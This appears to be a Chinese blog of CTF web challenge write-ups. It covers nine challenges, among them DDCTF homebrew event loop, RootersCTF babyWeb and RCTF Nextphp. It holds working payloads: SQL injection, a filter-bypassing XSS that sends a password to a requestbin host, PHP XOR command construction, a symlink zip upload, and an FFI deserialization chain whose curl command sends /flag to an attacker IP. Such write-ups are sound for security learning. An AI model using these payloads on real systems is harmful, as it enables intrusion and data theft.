目录
[DDCTF 2019]homebrew event loop
action:trigger_event%23;action:buy;5%23action:get_flag;
[CISCN2019 华东南赛区]Web4
[RootersCTF2019]babyWeb
[GWCTF 2019]mypassword
[NESTCTF 2019]Love Math 2
[BSidesCF 2019]Pick Tac Toe
[RootersCTF2019]ImgXweb
[SWPU2019]Web3
[RCTF 2019]Nextphp
FFI是什么
<?php
$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
//生成一串32位的随机数,转换为16进制
eval("function SUCTF_$hash(){"
."global \$MY;"
."\$MY();"
."}");
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
}
show_source(__FILE__
create_function直接执行,里面是有eval
https://www.cnblogs.com/-chenxs/p/11459374.html
所以需要让create_function的函数名()引用一下来执行,下面的是不可能爆破成功了,然后create_function()这个函数的漏洞,他create之后会自动生成一个函数名为%00lambda_[0-999]我们可以爆破
import requests
for i in range(0,1000):
payload="http://d815e336-d9b3-49c7-a28c-0ba34ba92c8f.node4.buuoj.cn:81/?func_name=%00lambda_{}".format(i)
res=requests.get(url=payload)
if(res.status_code==200):
print(res.text)
[DDCTF 2019]homebrew event loop
这里简单说一下我在哪卡住的
我当时就想的是里面只会有一个值,也就是我们传入的
action:trigger_event%23;action:buy;5%23action:get_flag;
然后不就只可以循环一次吗,然后看见都需要先调用trigger_event
先写一下我们经过execute_event_loop()一些值得变化
action: tigger_event#
args : ["action:buy;5",["action:get_flag;"]]
event_handler: tigger_event#_handler #注释掉了后面 最后为
就是 tigger_event(args)里面是两个数组
然后
request.event_queue= ["action:buy;5","action:get_flag;"]
这样这里就会0 1都有值可以循环二次,
action: buy
args : ["action:buy;5",["action:get_flag;"]] 5
event_handler: buy_handler
buy_handler(5)
最后一次调用
action: get_flag
args : 空
event_handler: get_flag()
就是这样最后获得flag
然后为什么说可以直接调用5呢,因为这里是就是我们的钱无论够不够,它都会给我们先加上,然后扣掉
action:trigger_event%23;action:buy;2%23action:buy;3%23action:get_flag;%23
[CISCN2019 华东南赛区]Web4
初始一个界面点开后就有链接
通过观察url可以试一下任意文件读取漏洞
发现可以读取源码,显示nosponse,呃呃呃当时这卡住了
应该换种角度思考,当时只是一味的读index.php如何审计,读取当前进程执行命令/proc/self/cmdline应该看一下进程
这种就以前见过,一个框架然后读取进程
import re, random, uuid, urllib
from flask import Flask, session, request
app = Flask(__name__)
random.seed(uuid.getnode())#获取mac地址
app.config['SECRET_KEY'] = str(random.random()*233)#生成随机密钥
app.debug = True#赋值
@app.route('/') #路由选择
def index():
session['username'] = 'www-data' #普通用户
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)#获取指定url的网址信息
return res.read()
except Exception as ex:
print str(ex)
return 'no response'
@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':#这是我们的目标
return open('/flag.txt').read()
else:
return 'Access denied'
if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)
很简单,获取网卡地址然后生成密钥,伪造session为fuck
这里需要转化为十进制
这里就是python2和python3的版本区别,可以都试一下,该题 版本是python2
[RootersCTF2019]babyWeb
打开界面发现过滤了 ‘ “ union or 说明大概率是数字型注入。
然后试一下1 || 1=1 limit 0,1直接出了flag
因为union的缘故,想到了报错注入,
1^updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) users
获得列名,因为禁用了引号,所以users用16进制
1^updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),0x7e),1)
发现显示的不全,第一种可以去掉group_concat,然后table_name=0x7573657273 limit 4,1 来截取
第二种,mid
1^updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),40,20),0x7e),1)
1^updatexml(1,concat(0x7e,(select group_concat(uniqueid) from users limit 0,1),0x7e),1)
XPATH syntax error: '~837461526918364526,123456789928' 然后查询获得flag
或者sqlmap一把梭
[GWCTF 2019]mypassword
打开界面是一个登陆界面,然后打算用admin注册发现,该用户已经被注册
当时想了一下是不是要伪造admin用户呢
然后随机注册了一个用户,看一下功能FeedBack的源码
if(is_array($feedback)){
echo "<script>alert('反馈不合法');</script>";
return false;
}
$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
foreach ($blacklist as $val) {
while(true){
if(stripos($feedback,$val) !== false){
$feedback = str_ireplace($val,"",$feedback);
}else{
break;
}
}
}
单纯从过滤的字符来看这道题,八成是一个xss然后,是把过滤的替换为空这个过滤很好绕过,只需要 inhostput拼接就可以了。
然后试一下能不能弹出
<scriphostt>alert(1)</scriphostt>发现可以弹出来。
呃呃呃呃思路到这里没了,只能去偷偷翻wp
最后发现少了点重要信息,在一开始未登陆的源码
if (document.cookie && document.cookie != '') {
var cookies = document.cookie.split('; ');//分割cookie进行遍历
var cookie = {};
for (var i = 0; i < cookies.length; i++) {
var arr = cookies[i].split('=');
var key = arr[0];
cookie[key] = arr[1];
}
if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
document.getElementsByName("username")[0].value = cookie['user'];//获取元素的值
document.getElementsByName("password")[0].value = cookie['psw'];
}
}
很简单这里是给我我们的提示,我们需要用同样的步骤获取值,然后显示出来就行
<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
var psw = docucookiement.getcookieElementsByName("password")[0].value;
docucookiement.locacookietion="http://http.requestbin.buuoj.cn/rlrk8drl/?a="+psw;
</scrcookieipt>
RequestBin - 1oluqhy1这里是通过buu的一个平台可以接受请求,然后把接受的命令显示出来,也就是a=
[NESTCTF 2019]Love Math 2
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 60) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
大体思路通过数学符号然后构成一个命令执行,最后执行eval.
一个通用的方法就是用白名单和数字进行异或
<?php
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($whitelist);$k++){
for($i=0;$i<9;$i++){
for($j=0;$j<=9;$j++){
$exp=$whitelist[$k] ^ $i. $j;
echo ($whitelist[$k]."^$i$j"."=====>$exp");
echo"<br />";
}
}
}
我们只需要找出_GET的构造就可以了,如何{}可以代替【】,
is_nan^64=====>_G
rand^75=====>ET
?c=$pi=(is_nan^(6).(4)).(rand^(7).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=ls%20/
我们要实现的其实是
?c=$pi=(_GET);$pi=$_GET;$_GET{0}($_GET{1})&0=system&1=ls%20/
[BSidesCF 2019]Pick Tac Toe
打开界面,感觉是只要自己连成一条一直即可获得flag,但根本赢不了 查看源码,发现每个格子对应着一个id,只需要move=id名字,就可以改掉及时该格子已被使用。
[RootersCTF2019]ImgXweb
点开界面是一个登陆的界面,首先注册了admin发现该用户已经存在,然后感觉是伪造admin用户
看了一下cookie发现是jwt可以解码,这时候就是如何获取密钥
diresearch发现了robots.txt,--》获得密钥
发现flag加载不出来,用了curl方法返回响应
[SWPU2019]Web3
打开界面之后,发现直接登陆admin admin直接登陆成功,如何看见了uplaod的选项
但是提示权限不够,直接查看源码
Permission denied!
<script type="text/javascript">
onload=function(){
setInterval(go, 1000);
};
var x=3;
function go(){
x--;
if(x>0){
document.getElementById("sp").innerHTML=x;
}else{
location.href='/';
}
}
</script>
当时的思路是绕过x>0,然后一秒转到根目录了,但是实在想不到怎么绕过了。
接着看了一下cookie,解码得到
b'{"id":{" b":"MTAw"},"is_login":true,"password":"admin","username":"admin"}'
解码b:100
到这里想了一下,明明是admin用户了,说明后台检验是否是管理员用户用的id字段,这点是看别的师傅wp出来的,我到这里真的没想到,把b改为1,这里的true必须是大写T,不然报错,血的教训。
然后文件上传会显示源码,
@app.route('/upload',methods=['GET','POST'])
def upload():
if session['id'] != b'1':
return render_template_string(temp)
if request.method=='POST':
m = hashlib.md5()#进行md5
name = session['password']//对应本次的是密码
name = name+'qweqweqwe'//adminqweqweqwe
name = name.encode(encoding='utf-8')//字符utf-8加密
m.update(name)
md5_one= m.hexdigest() //name也就是password的md5加密
n = hashlib.md5()
ip = request.remote_addr //ip地址
ip = ip.encode(encoding='utf-8')
n.update(ip)
md5_ip = n.hexdigest()
f=request.files['file'] #接收前端发的文件
basepath=os.path.dirname(os.path.realpath(__file__)) #找出真实的位置
path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
path_base = basepath+'/upload/'+md5_ip+'/'
filename = f.filename #获取文件名
pathname = path+filename #路径 + 文件名
if "zip" != filename.split('.')[-1]: #这里需要是zip文件
return 'zip only allowed'
if not os.path.exists(path_base):
try:
os.makedirs(path_base)
except Exception as e:
return 'error'
if not os.path.exists(path):
try:
os.makedirs(path) #建立文件
except Exception as e:
return 'error'
if not os.path.exists(pathname):
try:
f.save(pathname)
except Exception as e:
return 'error'
try:
cmd = "unzip -n -d "+path+" "+ pathname
if cmd.find('|') != -1 or cmd.find(';') != -1: #文件中不能存在 | ;
waf()
return 'error'
os.system(cmd) #这里有个命令执行
except Exception as e:
return 'error'
unzip_file = zipfile.ZipFile(pathname,'r')
unzip_filename = unzip_file.namelist()[0]
if session['is_login'] != True:
return 'not login'
try:
if unzip_filename.find('/') != -1:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
image = open(path+unzip_filename, "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
except Exception as e:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
return render_template('upload.html')
@app.route('/showflag')
def showflag():
if True == False:
image = open(os.path.join('./flag/flag.jpg'), "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
else:
return "can't give you"
-->
这里的关键就是,
@app.route('/showflag')
def showflag():
if True == False:
image = open(os.path.join('./flag/flag.jpg'), "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
else:
return "can't give you"
但if是不可能成立的,但是这里给出了flag.jpg的路径,./flag/flag.jpg,这里必须使用zip上传,就用到了软链接的思路。
1.在 linux 中,/proc/self/cwd/会指向进程的当前目录,在不知道 flask 工作目录时,我们可以用/proc/self/cwd/flag/flag.jpg来访问 flag.jpg。
2.ln -s是Linux的软连接命令,其类似与windows的快捷方式。比如ln -s /etc/passwd shawroot 这会出现一个名为shawroot的文件,其内容为/etc/passwd的内容。
ln -s /proc/self/cwd/flag/flag.jpg JYcxk
zip -ry root.zip JYcxk
-r:将指定的目录下的所有子目录以及文件一起处理
-y:直接保存符号连接,而非该连接所指向的文件,本参数仅在UNIX之类的系统下有效。
上传压缩包,burp抓包即可获得flag
[RCTF 2019]Nextphp
<?php
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}
直接system没响应,八成被禁用了。
绕过disable_function,这道题的考点是FFI命令执行
可以用FFI的指定文件是preload.php,所以我们需要查看一下源码。
?a=var_dump(file_get_contents(%27/var/www/html/preload.php%27));
得到如下源码
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
//ret=print_r(1)
}
public function __serialize(): array {
return $this->data;
}
public function __unserialize(array $data) {
array_merge($this->data, $data);//结合数组
$this->run();
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
public function __construct () {
throw new \Exception('No implemented');
}
}
"
FFI是什么
FFI是php7.4 版本出的一个扩展,总结而言,就是php中可以调用c语言中写的库
?a=var_dump(file_get_contents(%27/var/www/html/preload.php%27));
简单的来说,系统会先执行 __serialize>serialize ,__unserialize>unserialize
所以如果我们想要执行后者,必须注释掉前者。
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(char *command);'
];
private function run () {
echo "run<br>";
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
}
$a = new A();
echo base64_encode(serialize($a)); // 即payload
?a=unserialize(base64_decode('QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319'))->__serialize()['ret']->system('curl -d @/flag 服务器 IP:7777 ');
第二种方法就是,直接在页面上输出
a=unserialize(urldecode('C%3A1%3A%22A%22%3A89%3A%7Ba%3A3%3A%7Bs%3A3%3A%22ret%22%3BN%3Bs%3A4%3A%22func%22%3Bs%3A9%3A%22FFI%3A%3Acdef%22%3Bs%3A3%3A%22arg%22%3Bs%3A26%3A%22int+system%28char+%2Acommand%29%3B%22%3B%7D%7D'))->__serialize()['ret']->system('ls > /var/www/html/1.txt');
因为这道题限制了目录,所以我们把结果存在根目录的1.txt里面,最后获得flag。